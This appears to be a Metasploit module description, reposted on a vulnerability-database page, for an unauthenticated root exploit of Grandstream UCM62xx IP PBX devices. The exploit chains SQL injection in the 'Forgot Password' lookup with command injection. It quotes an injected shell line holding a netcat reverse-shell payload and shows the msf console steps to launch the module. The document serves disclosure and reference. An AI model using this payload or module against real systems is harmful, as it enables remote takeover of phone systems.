This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and
a command injection vulnerability (technically, no assigned CVE but was inadvertently
patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX
series of devices. The vulnerabilities allow an unauthenticated remote attacker to
execute commands as root.
Exploitation happens in two stages:
1. An SQL injection during username lookup while executing the "Forgot Password" function.
2. A command injection that occurs after the user provided username is passed to a Python script
via the shell. Like so:
/bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \
password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `
This module affect UCM62xx versions before firmware version 1.0.19.20.
msf > use exploit/linux/http/grandstream_ucm62xx_sendemail_rce
msf exploit(grandstream_ucm62xx_sendemail_rce) > show targets
...targets...
msf exploit(grandstream_ucm62xx_sendemail_rce) > set TARGET < target-id >
msf exploit(grandstream_ucm62xx_sendemail_rce) > show options
...show and set options...
msf exploit(grandstream_ucm62xx_sendemail_rce) > exploit
Vulmon